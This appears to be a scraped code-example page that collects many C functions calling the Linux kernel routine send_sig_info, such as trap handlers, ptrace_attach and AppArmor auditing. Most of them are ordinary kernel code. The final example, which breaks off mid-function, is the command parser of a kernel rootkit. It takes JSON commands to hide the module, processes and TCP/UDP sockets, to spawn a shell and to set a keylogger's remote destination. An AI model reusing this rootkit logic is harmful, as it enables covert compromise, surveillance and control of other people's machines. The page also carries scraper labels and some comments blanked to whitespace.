/*
 * Raise a SIGFPE for the current process.
 * sicode describes the signal being raised.
 */
static void vfp_raise_sigfpe(unsigned int sicode, struct pt_regs *regs)
{
	siginfo_t info;

	memset(&info, 0, sizeof(info));

	info.si_signo = SIGFPE;
	info.si_code = sicode;
	info.si_addr = (void __user *)(instruction_pointer(regs) - 4);

	/*
	 * This is the same as NWFPE, because it's not clear what
	 * this is used for
	 */
	current->thread.error_code = 0;
	current->thread.trap_no = 6;

	send_sig_info(SIGFPE, &info, current);
}
void ucf64_raise_sigfpe(unsigned int sicode, struct pt_regs *regs)
{
	siginfo_t info;

	memset(&info, 0, sizeof(info));

	info.si_signo = SIGFPE;
	info.si_code = sicode;
	info.si_addr = (void __user *)(instruction_pointer(regs) - 4);

	/*
                                                          
                    
  */
	current->thread.error_code = 0;
	current->thread.trap_no = 6;

	send_sig_info(SIGFPE, &info, current);
}
示例#3
0
static void send_sigio(struct fown_struct *fown, struct fasync_struct *fa)
{
	struct task_struct * p;
	int   pid	= fown->pid;
	uid_t uid	= fown->uid;
	uid_t euid	= fown->euid;
	
	read_lock(&tasklist_lock);
	for_each_task(p) {
		int match = p->pid;
		if (pid < 0)
			match = -p->pgrp;
		if (pid != match)
			continue;
		if ((euid != 0) &&
		    (euid ^ p->suid) && (euid ^ p->uid) &&
		    (uid ^ p->suid) && (uid ^ p->uid))
			continue;
		switch (fown->signum) {
			siginfo_t si;
		default:
			/* Queue a rt signal with the appropriate fd as its
			   value.  We use SI_SIGIO as the source, not 
			   SI_KERNEL, since kernel signals always get 
			   delivered even if we can't queue.  Failure to
			   queue in this case _should_ be reported; we fall
			   back to SIGIO in that case. --sct */
			si.si_signo = fown->signum;
			si.si_errno = 0;
		        si.si_code  = SI_SIGIO;
			si.si_pid   = pid;
			si.si_uid   = uid;
			si.si_fd    = fa->fa_fd;
			if (!send_sig_info(fown->signum, &si, p))
				break;
		/* fall-through: fall back on the old plain SIGIO signal */
		case 0:
			send_sig(SIGIO, p, 1);
		}
	}
	read_unlock(&tasklist_lock);
}
void diag_notify_md_client(uint8_t peripheral, int data)
{
	int stat = 0;
	struct siginfo info;

	if (driver->logging_mode != MEMORY_DEVICE_MODE)
		return;

	memset(&info, 0, sizeof(struct siginfo));
	info.si_code = SI_QUEUE;
	info.si_int = (PERIPHERAL_MASK(peripheral) | data);
	info.si_signo = SIGCONT;
	if (driver->md_proc[DIAG_LOCAL_PROC].mdlog_process) {
		stat = send_sig_info(info.si_signo, &info,
			driver->md_proc[DIAG_LOCAL_PROC].mdlog_process);
		if (stat)
			pr_err("diag: Err sending signal to memory device client, signal data: 0x%x, stat: %d\n",
			       info.si_int, stat);
	}

}
示例#5
0
static void vperfctr_handle_overflow(struct task_struct *tsk,
				     struct vperfctr *perfctr)
{
	unsigned int pmc_mask;
	siginfo_t si;
	sigset_t old_blocked;

	pmc_mask = perfctr_cpu_identify_overflow(&perfctr->cpu_state);
	if (!pmc_mask) {
		printk(KERN_ERR "%s: BUG! pid %d has unidentifiable overflow source\n",
		       __FUNCTION__, tsk->pid);
		return;
	}
	/* suspend a-mode and i-mode PMCs, leaving only TSC on */
	/* XXX: some people also want to suspend the TSC */
	perfctr->iresume_cstatus = perfctr->cpu_state.cstatus;
	if (perfctr_cstatus_has_tsc(perfctr->iresume_cstatus)) {
		perfctr->cpu_state.cstatus = perfctr_mk_cstatus(1, 0, 0);
		vperfctr_resume(perfctr);
	} else
		perfctr->cpu_state.cstatus = 0;
	si.si_signo = perfctr->si_signo;
	si.si_errno = 0;
	si.si_code = SI_PMC_OVF;
	si.si_pmc_ovf_mask = pmc_mask;

	/* deliver signal without waking up the receiver */
	spin_lock_irq(&task_siglock(tsk));
	old_blocked = tsk->blocked;
	sigaddset(&tsk->blocked, si.si_signo);
	spin_unlock_irq(&task_siglock(tsk));

	if (!send_sig_info(si.si_signo, &si, tsk))
		send_sig(si.si_signo, tsk, 1);

	spin_lock_irq(&task_siglock(tsk));
	tsk->blocked = old_blocked;
	recalc_sigpending();
	spin_unlock_irq(&task_siglock(tsk));
}
示例#6
0
asmlinkage long sys_use_signal(int pid) {

    struct task_struct* task;
    task = find_task_by_vpid(pid);

    /*** make a signal ***/
    struct siginfo info;
    memset(&info, 0, sizeof(struct siginfo));
    info.si_signo = SIGUSR1;
    info.si_code = SI_KERNEL;

    /*** send the signal to current process ***/
    int ret = send_sig_info(SIGUSR1, &info, task);
    if(ret < 0) {
        printk(KERN_WARNING "send_sig_info: error sending signal (ret: %d)\n", ret);
    }
    else {
        printk(KERN_DEBUG "send signal to pid: %d\n", task->pid);
    }

    return 0;
}
示例#7
0
void do_illegal_instruction(struct pt_regs *regs, unsigned long pc, unsigned long npc,
			    unsigned long psr)
{
	extern int do_user_muldiv (struct pt_regs *, unsigned long);
	siginfo_t info;

	if(psr & PSR_PS)
		die_if_kernel("Kernel illegal instruction", regs);
#ifdef TRAP_DEBUG
	printk("Ill instr. at pc=%08lx instruction is %08lx\n",
	       regs->pc, *(unsigned long *)regs->pc);
#endif
	if (!do_user_muldiv (regs, pc))
		return;

	info.si_signo = SIGILL;
	info.si_errno = 0;
	info.si_code = ILL_ILLOPC;
	info.si_addr = (void *)pc;
	info.si_trapno = 0;
	send_sig_info(SIGILL, &info, current);
}
示例#8
0
asmlinkage int sunos_nosys(void)
{
    struct pt_regs *regs;
    siginfo_t info;
    static int cnt;

    lock_kernel();
    regs = current->thread.kregs;
    info.si_signo = SIGSYS;
    info.si_errno = 0;
    info.si_code = __SI_FAULT|0x100;
    info.si_addr = (void *)regs->pc;
    info.si_trapno = regs->u_regs[UREG_G1];
    send_sig_info(SIGSYS, &info, current);
    if (cnt++ < 4) {
        printk("Process makes ni_syscall number %d, register dump:\n",
               (int) regs->u_regs[UREG_G1]);
        show_regs(regs);
    }
    unlock_kernel();
    return -ENOSYS;
}
示例#9
0
文件: audit.c 项目: 020gzh/linux
/**
 * aa_audit - Log a profile based audit event to the audit subsystem
 * @type: audit type for the message
 * @profile: profile to check against (NOT NULL)
 * @gfp: allocation flags to use
 * @sa: audit event (NOT NULL)
 * @cb: optional callback fn for type specific fields (MAYBE NULL)
 *
 * Handle default message switching based off of audit mode flags
 *
 * Returns: error on failure
 */
int aa_audit(int type, struct aa_profile *profile, gfp_t gfp,
	     struct common_audit_data *sa,
	     void (*cb) (struct audit_buffer *, void *))
{
	BUG_ON(!profile);

	if (type == AUDIT_APPARMOR_AUTO) {
		if (likely(!sa->aad->error)) {
			if (AUDIT_MODE(profile) != AUDIT_ALL)
				return 0;
			type = AUDIT_APPARMOR_AUDIT;
		} else if (COMPLAIN_MODE(profile))
			type = AUDIT_APPARMOR_ALLOWED;
		else
			type = AUDIT_APPARMOR_DENIED;
	}
	if (AUDIT_MODE(profile) == AUDIT_QUIET ||
	    (type == AUDIT_APPARMOR_DENIED &&
	     AUDIT_MODE(profile) == AUDIT_QUIET))
		return sa->aad->error;

	if (KILL_MODE(profile) && type == AUDIT_APPARMOR_DENIED)
		type = AUDIT_APPARMOR_KILL;

	if (!unconfined(profile))
		sa->aad->profile = profile;

	aa_audit_msg(type, sa, cb);

	if (sa->aad->type == AUDIT_APPARMOR_KILL)
		(void)send_sig_info(SIGKILL, NULL,
				    sa->u.tsk ?  sa->u.tsk : current);

	if (sa->aad->type == AUDIT_APPARMOR_ALLOWED)
		return complain_error(sa->aad->error);

	return sa->aad->error;
}
/*
 * Raise a SIGFPE for the current process.
 */
void do_fpsimd_exc(unsigned int esr, struct pt_regs *regs)
{
	siginfo_t info;
	unsigned int si_code = 0;

	if (esr & FPEXC_IOF)
		si_code = FPE_FLTINV;
	else if (esr & FPEXC_DZF)
		si_code = FPE_FLTDIV;
	else if (esr & FPEXC_OFF)
		si_code = FPE_FLTOVF;
	else if (esr & FPEXC_UFF)
		si_code = FPE_FLTUND;
	else if (esr & FPEXC_IXF)
		si_code = FPE_FLTRES;

	memset(&info, 0, sizeof(info));
	info.si_signo = SIGFPE;
	info.si_code = si_code;
	info.si_addr = (void __user *)instruction_pointer(regs);

	send_sig_info(SIGFPE, &info, current);
}
示例#11
0
void do_memaccess_unaligned(struct pt_regs *regs, unsigned long pc, unsigned long npc,
			    unsigned long psr)
{
	siginfo_t info;

	if(regs->psr & PSR_PS) {
		printk("KERNEL MNA at pc %08lx npc %08lx called by %08lx\n", pc, npc,
		       regs->u_regs[UREG_RETPC]);
		die_if_kernel("BOGUS", regs);
		/* die_if_kernel("Kernel MNA access", regs); */
	}
#if 0
	show_regs (regs);
	instruction_dump ((unsigned long *) regs->pc);
	printk ("do_MNA!\n");
#endif
	info.si_signo = SIGBUS;
	info.si_errno = 0;
	info.si_code = BUS_ADRALN;
	info.si_addr = /* FIXME: Should dig out mna address */ (void *)0;
	info.si_trapno = 0;
	send_sig_info(SIGBUS, &info, current);
}
示例#12
0
irqreturn_t hostirq_handler(int irq, void *pkv)
{
	siginfo_t si;
	kernel_vars_t *kv = (kernel_vars_t *) pkv;

	/* disable the irq */
	disable_irq_nosync(irq);
	/* have the interrupt handled */
	if (!test_and_set_bit(irq, kv->mregs.active_irqs.irqs))
		atomic_inc((atomic_t *) &
			       (kv->mregs.hostirq_active_cnt));
	kv->mregs.hostirq_update = 1;
	kv->mregs.interrupt = 1;
	/* signal the main thread (it might be DOZEing) */
	if (kv->main_thread != NULL) {
		memset(&si, 0, sizeof(si));
		si.si_signo = SIGHUP;
		si.si_code = irq;
		send_sig_info(SIGHUP, &si, kv->main_thread);
	}

	return IRQ_HANDLED;
}
示例#13
0
asmlinkage void
do_entArith(unsigned long summary, unsigned long write_mask,
	    struct pt_regs *regs)
{
	long si_code = FPE_FLTINV;
	siginfo_t info;

	if (summary & 1) {
		if (!amask(AMASK_PRECISE_TRAP))
			si_code = alpha_fp_emul(regs->pc - 4);
		else
			si_code = alpha_fp_emul_imprecise(regs, write_mask);
		if (si_code == 0)
			return;
	}
	die_if_kernel("Arithmetic fault", regs, 0, NULL);

	info.si_signo = SIGFPE;
	info.si_errno = 0;
	info.si_code = si_code;
	info.si_addr = (void __user *) regs->pc;
	send_sig_info(SIGFPE, &info, current);
}
示例#14
0
文件: audit.c 项目: SelfImp/m75
/**
 * aa_audit - Log a profile based audit event to the audit subsystem
 * @type: audit type for the message
 * @profile: profile to check against (NOT NULL)
 * @sa: audit event (NOT NULL)
 * @cb: optional callback fn for type specific fields (MAYBE NULL)
 *
 * Handle default message switching based off of audit mode flags
 *
 * Returns: error on failure
 */
int aa_audit(int type, struct aa_profile *profile, struct common_audit_data *sa,
	     void (*cb) (struct audit_buffer *, void *))
{
	BUG_ON(!profile);

	if (type == AUDIT_APPARMOR_AUTO) {
		if (likely(!aad(sa)->error)) {
			if (AUDIT_MODE(profile) != AUDIT_ALL)
				return 0;
			type = AUDIT_APPARMOR_AUDIT;
		} else if (COMPLAIN_MODE(profile))
			type = AUDIT_APPARMOR_ALLOWED;
		else
			type = AUDIT_APPARMOR_DENIED;
	}
	if (AUDIT_MODE(profile) == AUDIT_QUIET ||
	    (type == AUDIT_APPARMOR_DENIED &&
	     AUDIT_MODE(profile) == AUDIT_QUIET))
	  return aad(sa)->error;

	if (KILL_MODE(profile) && type == AUDIT_APPARMOR_DENIED)
		type = AUDIT_APPARMOR_KILL;

	aad(sa)->label = &profile->label;

	aa_audit_msg(type, sa, cb);

	if (aad(sa)->type == AUDIT_APPARMOR_KILL)
		(void)send_sig_info(SIGKILL, NULL,
			sa->type == LSM_AUDIT_DATA_TASK && sa->u.tsk ?
				    sa->u.tsk : current);

	if (aad(sa)->type == AUDIT_APPARMOR_ALLOWED)
	  return complain_error(aad(sa)->error);

	return aad(sa)->error;
}
示例#15
0
asmlinkage void
do_rt_sigreturn(struct rt_sigframe __user *frame, struct pt_regs *regs,
		struct switch_stack *sw)
{
	sigset_t set;

	/* Verify that it's a good ucontext_t before using it */
	if (verify_area(VERIFY_READ, &frame->uc, sizeof(frame->uc)))
		goto give_sigsegv;
	if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
		goto give_sigsegv;

	sigdelsetmask(&set, ~_BLOCKABLE);
	spin_lock_irq(&current->sighand->siglock);
	current->blocked = set;
	recalc_sigpending();
	spin_unlock_irq(&current->sighand->siglock);

	if (restore_sigcontext(&frame->uc.uc_mcontext, regs, sw))
		goto give_sigsegv;

	/* Send SIGTRAP if we're single-stepping: */
	if (ptrace_cancel_bpt (current)) {
		siginfo_t info;

		info.si_signo = SIGTRAP;
		info.si_errno = 0;
		info.si_code = TRAP_BRKPT;
		info.si_addr = (void __user *) regs->pc;
		info.si_trapno = 0;
		send_sig_info(SIGTRAP, &info, current);
	}
	return;

give_sigsegv:
	force_sig(SIGSEGV, current);
}
asmlinkage void
do_sigreturn(struct sigcontext __user *sc, struct pt_regs *regs,
	     struct switch_stack *sw)
{
	sigset_t set;

	/* Verify that it's a good sigcontext before using it */
	if (!access_ok(VERIFY_READ, sc, sizeof(*sc)))
		goto give_sigsegv;
	if (__get_user(set.sig[0], &sc->sc_mask))
		goto give_sigsegv;

	sigdelsetmask(&set, ~_BLOCKABLE);
	spin_lock_irq(&current->sighand->siglock);
	current->blocked = set;
	recalc_sigpending();
	spin_unlock_irq(&current->sighand->siglock);

	if (restore_sigcontext(sc, regs, sw))
		goto give_sigsegv;

	/* Send SIGTRAP if we're single-stepping: */
	if (ptrace_cancel_bpt (current)) {
		siginfo_t info;

		info.si_signo = SIGTRAP;
		info.si_errno = 0;
		info.si_code = TRAP_BRKPT;
		info.si_addr = (void __user *) regs->pc;
		info.si_trapno = 0;
		send_sig_info(SIGTRAP, &info, current);
	}
	return;

give_sigsegv:
	force_sig(SIGSEGV, current);
}
示例#17
0
asmlinkage int sunos_nosys(void)
{
	struct pt_regs *regs;
	siginfo_t info;
	static int cnt;

	regs = current_thread_info()->kregs;
	if (test_thread_flag(TIF_32BIT)) {
		regs->tpc &= 0xffffffff;
		regs->tnpc &= 0xffffffff;
	}
	info.si_signo = SIGSYS;
	info.si_errno = 0;
	info.si_code = __SI_FAULT|0x100;
	info.si_addr = (void *)regs->tpc;
	info.si_trapno = regs->u_regs[UREG_G1];
	send_sig_info(SIGSYS, &info, current);
	if (cnt++ < 4) {
		printk("Process makes ni_syscall number %d, register dump:\n",
		       (int) regs->u_regs[UREG_G1]);
		show_regs(regs);
	}
	return -ENOSYS;
}
asmlinkage void
do_entIF(unsigned long type, struct pt_regs *regs)
{
	siginfo_t info;
	int signo, code;

	if ((regs->ps & ~IPL_MAX) == 0) {
		if (type == 1) {
			const unsigned int *data
			  = (const unsigned int *) regs->pc;
			printk("Kernel bug at %s:%d\n",
			       (const char *)(data[1] | (long)data[2] << 32), 
			       data[0]);
		}
		die_if_kernel((type == 1 ? "Kernel Bug" : "Instruction fault"),
			      regs, type, NULL);
	}

	switch (type) {
	      case 0: /*            */
		info.si_signo = SIGTRAP;
		info.si_errno = 0;
		info.si_code = TRAP_BRKPT;
		info.si_trapno = 0;
		info.si_addr = (void __user *) regs->pc;

		if (ptrace_cancel_bpt(current)) {
			regs->pc -= 4;	/*                             */
		}

		send_sig_info(SIGTRAP, &info, current);
		return;

	      case 1: /*          */
		info.si_signo = SIGTRAP;
		info.si_errno = 0;
		info.si_code = __SI_FAULT;
		info.si_addr = (void __user *) regs->pc;
		info.si_trapno = 0;
		send_sig_info(SIGTRAP, &info, current);
		return;
		
	      case 2: /*         */
		info.si_addr = (void __user *) regs->pc;
		info.si_trapno = regs->r16;
		switch ((long) regs->r16) {
		case GEN_INTOVF:
			signo = SIGFPE;
			code = FPE_INTOVF;
			break;
		case GEN_INTDIV:
			signo = SIGFPE;
			code = FPE_INTDIV;
			break;
		case GEN_FLTOVF:
			signo = SIGFPE;
			code = FPE_FLTOVF;
			break;
		case GEN_FLTDIV:
			signo = SIGFPE;
			code = FPE_FLTDIV;
			break;
		case GEN_FLTUND:
			signo = SIGFPE;
			code = FPE_FLTUND;
			break;
		case GEN_FLTINV:
			signo = SIGFPE;
			code = FPE_FLTINV;
			break;
		case GEN_FLTINE:
			signo = SIGFPE;
			code = FPE_FLTRES;
			break;
		case GEN_ROPRAND:
			signo = SIGFPE;
			code = __SI_FAULT;
			break;

		case GEN_DECOVF:
		case GEN_DECDIV:
		case GEN_DECINV:
		case GEN_ASSERTERR:
		case GEN_NULPTRERR:
		case GEN_STKOVF:
		case GEN_STRLENERR:
		case GEN_SUBSTRERR:
		case GEN_RANGERR:
		case GEN_SUBRNG:
		case GEN_SUBRNG1:
		case GEN_SUBRNG2:
		case GEN_SUBRNG3:
		case GEN_SUBRNG4:
		case GEN_SUBRNG5:
		case GEN_SUBRNG6:
		case GEN_SUBRNG7:
		default:
			signo = SIGTRAP;
			code = __SI_FAULT;
			break;
		}

		info.si_signo = signo;
		info.si_errno = 0;
		info.si_code = code;
		info.si_addr = (void __user *) regs->pc;
		send_sig_info(signo, &info, current);
		return;

	      case 4: /*       */
		if (implver() == IMPLVER_EV4) {
			long si_code;

			/*                                       
                                                    
                                                   
                                                      
                                                  
                                                   
                                                   
                                         */
			regs->pc += opDEC_fix; 
			
			/*                                              
                                                  
                                              */
			si_code = alpha_fp_emul(regs->pc - 4);
			if (si_code == 0)
				return;
			if (si_code > 0) {
				info.si_signo = SIGFPE;
				info.si_errno = 0;
				info.si_code = si_code;
				info.si_addr = (void __user *) regs->pc;
				send_sig_info(SIGFPE, &info, current);
				return;
			}
		}
		break;

	      case 3: /*           */
		/*                                                    
                                                       
                                                      
                                          

                                                           
                                                          
                                                           
               */
		current_thread_info()->pcb.flags |= 1;
		__reload_thread(&current_thread_info()->pcb);
		return;

	      case 5: /*       */
	      default: /*                                   */
		      ;
	}

	info.si_signo = SIGILL;
	info.si_errno = 0;
	info.si_code = ILL_ILLOPC;
	info.si_addr = (void __user *) regs->pc;
	send_sig_info(SIGILL, &info, current);
}
示例#19
0
asmlinkage void
do_entIF(unsigned long type, struct pt_regs *regs)
{
	siginfo_t info;
	int signo, code;

	if ((regs->ps & ~IPL_MAX) == 0) {
		if (type == 1) {
			const unsigned int *data
			  = (const unsigned int *) regs->pc;
			printk("Kernel bug at %s:%d\n",
			       (const char *)(data[1] | (long)data[2] << 32),
			       data[0]);
		}
		die_if_kernel((type == 1 ? "Kernel Bug" : "Instruction fault"),
			      regs, type, NULL);
	}

	switch (type) {
	      case 0: /* breakpoint */
		info.si_signo = SIGTRAP;
		info.si_errno = 0;
		info.si_code = TRAP_BRKPT;
		info.si_trapno = 0;
		info.si_addr = (void __user *) regs->pc;

		if (ptrace_cancel_bpt(current)) {
			regs->pc -= 4;	/* make pc point to former bpt */
		}

		send_sig_info(SIGTRAP, &info, current);
		return;

	      case 1: /* bugcheck */
		info.si_signo = SIGTRAP;
		info.si_errno = 0;
		info.si_code = __SI_FAULT;
		info.si_addr = (void __user *) regs->pc;
		info.si_trapno = 0;
		send_sig_info(SIGTRAP, &info, current);
		return;

	      case 2: /* gentrap */
		info.si_addr = (void __user *) regs->pc;
		info.si_trapno = regs->r16;
		switch ((long) regs->r16) {
		case GEN_INTOVF:
			signo = SIGFPE;
			code = FPE_INTOVF;
			break;
		case GEN_INTDIV:
			signo = SIGFPE;
			code = FPE_INTDIV;
			break;
		case GEN_FLTOVF:
			signo = SIGFPE;
			code = FPE_FLTOVF;
			break;
		case GEN_FLTDIV:
			signo = SIGFPE;
			code = FPE_FLTDIV;
			break;
		case GEN_FLTUND:
			signo = SIGFPE;
			code = FPE_FLTUND;
			break;
		case GEN_FLTINV:
			signo = SIGFPE;
			code = FPE_FLTINV;
			break;
		case GEN_FLTINE:
			signo = SIGFPE;
			code = FPE_FLTRES;
			break;
		case GEN_ROPRAND:
			signo = SIGFPE;
			code = __SI_FAULT;
			break;

		case GEN_DECOVF:
		case GEN_DECDIV:
		case GEN_DECINV:
		case GEN_ASSERTERR:
		case GEN_NULPTRERR:
		case GEN_STKOVF:
		case GEN_STRLENERR:
		case GEN_SUBSTRERR:
		case GEN_RANGERR:
		case GEN_SUBRNG:
		case GEN_SUBRNG1:
		case GEN_SUBRNG2:
		case GEN_SUBRNG3:
		case GEN_SUBRNG4:
		case GEN_SUBRNG5:
		case GEN_SUBRNG6:
		case GEN_SUBRNG7:
		default:
			signo = SIGTRAP;
			code = __SI_FAULT;
			break;
		}

		info.si_signo = signo;
		info.si_errno = 0;
		info.si_code = code;
		info.si_addr = (void __user *) regs->pc;
		send_sig_info(signo, &info, current);
		return;

	      case 4: /* opDEC */
		if (implver() == IMPLVER_EV4) {
			long si_code;

			/* The some versions of SRM do not handle
			   the opDEC properly - they return the PC of the
			   opDEC fault, not the instruction after as the
			   Alpha architecture requires.  Here we fix it up.
			   We do this by intentionally causing an opDEC
			   fault during the boot sequence and testing if
			   we get the correct PC.  If not, we set a flag
			   to correct it every time through.  */
			regs->pc += opDEC_fix;

			/* EV4 does not implement anything except normal
			   rounding.  Everything else will come here as
			   an illegal instruction.  Emulate them.  */
			si_code = alpha_fp_emul(regs->pc - 4);
			if (si_code == 0)
				return;
			if (si_code > 0) {
				info.si_signo = SIGFPE;
				info.si_errno = 0;
				info.si_code = si_code;
				info.si_addr = (void __user *) regs->pc;
				send_sig_info(SIGFPE, &info, current);
				return;
			}
		}
		break;

	      case 3: /* FEN fault */
		/* Irritating users can call PAL_clrfen to disable the
		   FPU for the process.  The kernel will then trap in
		   do_switch_stack and undo_switch_stack when we try
		   to save and restore the FP registers.

		   Given that GCC by default generates code that uses the
		   FP registers, PAL_clrfen is not useful except for DoS
		   attacks.  So turn the bleeding FPU back on and be done
		   with it.  */
		current_thread_info()->pcb.flags |= 1;
		__reload_thread(&current_thread_info()->pcb);
		return;

	      case 5: /* illoc */
	      default: /* unexpected instruction-fault type */
		      ;
	}

	info.si_signo = SIGILL;
	info.si_errno = 0;
	info.si_code = ILL_ILLOPC;
	info.si_addr = (void __user *) regs->pc;
	send_sig_info(SIGILL, &info, current);
}
示例#20
0
static int ptrace_attach(struct task_struct *task)
{
	bool wait_trap = false;
	int retval;

	audit_ptrace(task);

	retval = -EPERM;
	if (unlikely(task->flags & PF_KTHREAD))
		goto out;
	if (same_thread_group(task, current))
		goto out;

	/*
	 * Protect exec's credential calculations against our interference;
	 * interference; SUID, SGID and LSM creds get determined differently
	 * under ptrace.
	 */
	retval = -ERESTARTNOINTR;
	if (mutex_lock_interruptible(&task->signal->cred_guard_mutex))
		goto out;

	task_lock(task);
	retval = __ptrace_may_access(task, PTRACE_MODE_ATTACH);
	task_unlock(task);
	if (retval)
		goto unlock_creds;

	write_lock_irq(&tasklist_lock);
	retval = -EPERM;
	if (unlikely(task->exit_state))
		goto unlock_tasklist;
	if (task->ptrace)
		goto unlock_tasklist;

	task->ptrace = PT_PTRACED;
	if (task_ns_capable(task, CAP_SYS_PTRACE))
		task->ptrace |= PT_PTRACE_CAP;

	__ptrace_link(task, current);
	send_sig_info(SIGSTOP, SEND_SIG_FORCED, task);

	spin_lock(&task->sighand->siglock);

	/*
	 * If the task is already STOPPED, set GROUP_STOP_PENDING and
	 * TRAPPING, and kick it so that it transits to TRACED.  TRAPPING
	 * will be cleared if the child completes the transition or any
	 * event which clears the group stop states happens.  We'll wait
	 * for the transition to complete before returning from this
	 * function.
	 *
	 * This hides STOPPED -> RUNNING -> TRACED transition from the
	 * attaching thread but a different thread in the same group can
	 * still observe the transient RUNNING state.  IOW, if another
	 * thread's WNOHANG wait(2) on the stopped tracee races against
	 * ATTACH, the wait(2) may fail due to the transient RUNNING.
	 *
	 * The following task_is_stopped() test is safe as both transitions
	 * in and out of STOPPED are protected by siglock.
	 */
	if (task_is_stopped(task)) {
		task->group_stop |= GROUP_STOP_PENDING | GROUP_STOP_TRAPPING;
		signal_wake_up(task, 1);
		wait_trap = true;
	}

	spin_unlock(&task->sighand->siglock);

	retval = 0;
unlock_tasklist:
	write_unlock_irq(&tasklist_lock);
unlock_creds:
	mutex_unlock(&task->signal->cred_guard_mutex);
out:
	if (wait_trap)
		wait_event(current->signal->wait_chldexit,
			   !(task->group_stop & GROUP_STOP_TRAPPING));
	return retval;
}
示例#21
0
static inline void terminate_thread_by_pointer(struct ethread *thread, NTSTATUS exit_code)
{
	thread->exit_status = exit_code;
	send_sig_info(SIGINT, SEND_SIG_FORCED, thread->et_task);
}
示例#22
0
static int parse_json(char *json_str)
{
	int r;
	int flag;
	int count;
	int j;
	char *endptr;
	int pid;
	int port;
	struct siginfo info;

	jsmn_init(&p);
	r = jsmn_parse(&p, json_str, strlen(json_str), t, sizeof(t)/sizeof(t[0]));
	if (r < 0) {
		DEBUG_PRINT("[Error] failed to parse JSON");
		return 1;
	}

	/* Assume the top-level element is an object */
	if (r < 1 || t[0].type != JSMN_OBJECT) {
		DEBUG_PRINT("[Error] JSMN object expected");
		return 1;
	}

	DEBUG_PRINT("received new configuration");
	/* Loop over all keys of the root object */
	for (i=1 ; i<r ; i++)
		if (!jsoneq(json_str, &t[i], "unload_module")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "unload_module", (flag) ? "true" : "false");
			if (flag)
				unload_module();

		} else if (!jsoneq(json_str, &t[i], "hide_module")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "hide_module", (flag) ? "true" : "false");
			if (flag)
				mask_module();

		} else if (!jsoneq(json_str, &t[i], "unhide_module")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "unhide_module", (flag) ? "true" : "false");
			if (flag)
				unmask_module();

		} else if (!jsoneq(json_str, &t[i], "provide_shell")) {
			if ((flag = extract_boolean_value(json_str)) == -1)
				continue;
			//printk(KERN_INFO "%s: %s\n", "provide_shell", (flag) ? "true" : "false");
			if (flag) {
				memset(&info, 0, sizeof(struct siginfo));
				info.si_signo = 36;
				info.si_code = SI_QUEUE;
				info.si_int = 1234;

				send_sig_info(36, &info, shell_provider_task);
			}

			} else if (!jsoneq(json_str, &t[i], "set_keylog_dest")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "keylogging_dest", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				set_remote_dest(values[j]);
			}


		} else if (!jsoneq(json_str, &t[i], "hide_processes")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_processes", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				pid = simple_strtol(values[j], &endptr, 10);
				mask_process(pid);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_processes")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_processes", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				pid = simple_strtol(values[j], &endptr, 10);
				unmask_process(pid);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("tcp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("tcp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_tcp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_tcp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("tcp6", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_tcp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_tcp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("tcp6", port);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("udp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp4")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp4", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				unmask_socket("udp4", port);
			}

		} else if (!jsoneq(json_str, &t[i], "hide_sockets_udp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "hide_sockets_udp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
				mask_socket("udp6", port);
			}

		} else if (!jsoneq(json_str, &t[i], "unhide_sockets_udp6")) {
			count = extract_array_values(json_str);
			//printk(KERN_INFO "%s: %d\n", "unhide_sockets_udp6", count);
			for (j=0 ; j<count ; j++) {
				//printk(KERN_INFO "index %d has value %s\n", j, values[j]);
				port = simple_strtol(values[j], &endptr, 10);
